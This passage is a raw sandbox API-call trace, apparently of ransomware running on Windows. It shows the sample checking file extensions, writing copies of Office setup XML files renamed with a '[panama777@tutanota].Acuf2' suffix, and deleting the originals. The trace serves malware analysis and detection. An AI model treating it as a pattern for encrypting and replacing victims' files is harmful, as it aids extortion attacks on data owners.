	[0046.099] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0046.099] lstrlenW (lpString=".pdf") returned 4
	[0046.099] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.099] lstrlenW (lpString=".xls") returned 4
	[0046.099] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.099] lstrlenW (lpString=".xlsx") returned 5
	[0046.099] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0046.099] lstrlenW (lpString=".ppt") returned 4
	[0046.099] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0046.100] lstrlenW (lpString=".zip") returned 4
	[0046.100] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.100] lstrlenW (lpString=".rar") returned 4
	[0046.100] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.100] lstrlenW (lpString=".bz2") returned 4
	[0046.100] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.100] lstrlenW (lpString=".7z") returned 3
	[0046.100] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0046.100] lstrlenW (lpString=".dbf") returned 4
	[0046.100] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0046.100] lstrlenW (lpString=".1cd") returned 4
	[0046.100] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0046.100] lstrlenW (lpString=".jpg") returned 4
	[0046.100] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0046.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0046.100] lstrlenW (lpString=".doc") returned 4
	[0046.100] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.100] lstrlenW (lpString=".docx") returned 5
	[0046.100] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0046.100] lstrlenW (lpString=".pdf") returned 4
	[0046.100] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.100] lstrlenW (lpString=".xls") returned 4
	[0046.100] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.100] lstrlenW (lpString=".xlsx") returned 5
	[0046.100] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0046.101] lstrlenW (lpString=".ppt") returned 4
	[0046.101] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0046.101] lstrlenW (lpString=".zip") returned 4
	[0046.101] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.101] lstrlenW (lpString=".rar") returned 4
	[0046.101] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.101] lstrlenW (lpString=".bz2") returned 4
	[0046.101] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.101] lstrlenW (lpString=".7z") returned 3
	[0046.101] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0046.101] lstrlenW (lpString=".dbf") returned 4
	[0046.101] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0046.101] lstrlenW (lpString=".1cd") returned 4
	[0046.101] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114
	[0046.101] lstrlenW (lpString=".jpg") returned 4
	[0046.101] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.101] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.101] lstrlenW (lpString="SETUP.XML") returned 9
	[0046.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.102] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1886) returned 1
	[0046.102] CloseHandle (hObject=0x1bc) returned 1
	[0046.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20
	[0046.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.103] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.103] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0046.103] GetLastError () returned 0x0
	[0046.103] ReadFile (in: hFile=0x1bc, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x75e, lpOverlapped=0x0) returned 1
	[0046.105] WriteFile (in: hFile=0x1f8, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x760, lpOverlapped=0x0) returned 1
	[0046.105] ReadFile (in: hFile=0x1bc, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.106] WriteFile (in: hFile=0x1f8, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0046.106] SetEndOfFile (hFile=0x1f8) returned 1
	[0046.106] CloseHandle (hObject=0x1f8) returned 1
	[0046.109] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.109] SetEndOfFile (hFile=0x1bc) returned 1
	[0046.109] CloseHandle (hObject=0x1bc) returned 1
	[0046.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0046.110] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1
	[0046.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0046.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0046.110] lstrlenW (lpString=".doc") returned 4
	[0046.110] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.110] lstrlenW (lpString=".docx") returned 5
	[0046.110] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0046.110] lstrlenW (lpString=".pdf") returned 4
	[0046.110] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.110] lstrlenW (lpString=".xls") returned 4
	[0046.110] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.110] lstrlenW (lpString=".xlsx") returned 5
	[0046.110] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0046.110] lstrlenW (lpString=".ppt") returned 4
	[0046.110] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0046.110] lstrlenW (lpString=".zip") returned 4
	[0046.111] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.111] lstrlenW (lpString=".rar") returned 4
	[0046.111] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.111] lstrlenW (lpString=".bz2") returned 4
	[0046.111] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.111] lstrlenW (lpString=".7z") returned 3
	[0046.111] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0046.111] lstrlenW (lpString=".dbf") returned 4
	[0046.111] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0046.111] lstrlenW (lpString=".1cd") returned 4
	[0046.111] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0046.111] lstrlenW (lpString=".jpg") returned 4
	[0046.111] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0046.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0046.111] lstrlenW (lpString=".doc") returned 4
	[0046.111] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.111] lstrlenW (lpString=".docx") returned 5
	[0046.111] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0046.111] lstrlenW (lpString=".pdf") returned 4
	[0046.111] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.111] lstrlenW (lpString=".xls") returned 4
	[0046.111] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.111] lstrlenW (lpString=".xlsx") returned 5
	[0046.111] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0046.111] lstrlenW (lpString=".ppt") returned 4
	[0046.111] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0046.112] lstrlenW (lpString=".zip") returned 4
	[0046.112] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.112] lstrlenW (lpString=".rar") returned 4
	[0046.112] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.112] lstrlenW (lpString=".bz2") returned 4
	[0046.112] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.112] lstrlenW (lpString=".7z") returned 3
	[0046.112] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0046.112] lstrlenW (lpString=".dbf") returned 4
	[0046.112] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0046.112] lstrlenW (lpString=".1cd") returned 4
	[0046.112] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106
	[0046.112] lstrlenW (lpString=".jpg") returned 4
	[0046.112] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.112] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.112] lstrlenW (lpString="PrjProrWW.XML") returned 13
	[0046.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0046.113] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=6421) returned 1
	[0046.113] CloseHandle (hObject=0x1f8) returned 1
	[0046.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20
	[0046.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0046.114] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.114] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0046.114] GetLastError () returned 0x0
	[0046.114] ReadFile (in: hFile=0x1f8, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x1915, lpOverlapped=0x0) returned 1
	[0046.115] WriteFile (in: hFile=0x170, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1920, lpOverlapped=0x0) returned 1
	[0046.116] ReadFile (in: hFile=0x1f8, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.116] WriteFile (in: hFile=0x170, lpBuffer=0x3360020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0046.117] SetEndOfFile (hFile=0x170) returned 1
	[0046.117] CloseHandle (hObject=0x170) returned 1
	[0046.117] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.118] SetEndOfFile (hFile=0x1f8) returned 1
	[0046.118] CloseHandle (hObject=0x1f8) returned 1
	[0046.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0046.119] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 1
	[0046.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0046.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0046.119] lstrlenW (lpString=".doc") returned 4
	[0046.119] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.119] lstrlenW (lpString=".docx") returned 5
	[0046.119] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1
	[0046.119] lstrlenW (lpString=".pdf") returned 4
	[0046.119] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.119] lstrlenW (lpString=".xls") returned 4
	[0046.119] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.119] lstrlenW (lpString=".xlsx") returned 5
	[0046.119] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1
	[0046.119] lstrlenW (lpString=".ppt") returned 4
	[0046.119] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0046.119] lstrlenW (lpString=".zip") returned 4
	[0046.119] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.119] lstrlenW (lpString=".rar") returned 4
	[0046.119] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.120] lstrlenW (lpString=".bz2") returned 4
	[0046.120] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.120] lstrlenW (lpString=".7z") returned 3
	[0046.120] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0046.120] lstrlenW (lpString=".dbf") returned 4
	[0046.120] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0046.120] lstrlenW (lpString=".1cd") returned 4
	[0046.120] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0046.120] lstrlenW (lpString=".jpg") returned 4
	[0046.120] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0046.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0046.120] lstrlenW (lpString=".doc") returned 4
	[0046.120] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.120] lstrlenW (lpString=".docx") returned 5
	[0046.120] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1
	[0046.120] lstrlenW (lpString=".pdf") returned 4
	[0046.120] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.120] lstrlenW (lpString=".xls") returned 4
	[0046.120] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.120] lstrlenW (lpString=".xlsx") returned 5
	[0046.120] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1
	[0046.120] lstrlenW (lpString=".ppt") returned 4
	[0046.120] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0046.120] lstrlenW (lpString=".zip") returned 4
	[0046.120] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.121] lstrlenW (lpString=".rar") returned 4
	[0046.121] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.121] lstrlenW (lpString=".bz2") returned 4
	[0046.121] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.121] lstrlenW (lpString=".7z") returned 3
	[0046.121] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0046.121] lstrlenW (lpString=".dbf") returned 4
	[0046.121] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0046.121] lstrlenW (lpString=".1cd") returned 4
	[0046.121] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101
	[0046.121] lstrlenW (lpString=".jpg") returned 4
	[0046.121] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.121] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.121] lstrlenW (lpString="SETUP.XML") returned 9
	[0046.121] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0046.458] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=16683) returned 1
	[0046.459] CloseHandle (hObject=0x170) returned 1
	[0046.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20
	[0046.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170
	[0046.459] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.459] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0047.143] GetLastError () returned 0x0
	[0047.143] ReadFile (in: hFile=0x170, lpBuffer=0x3360020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3360020*, lpNumberOfBytesRead=0x2c3fed4*=0x412b, lpOverlapped=0x0) returned 1
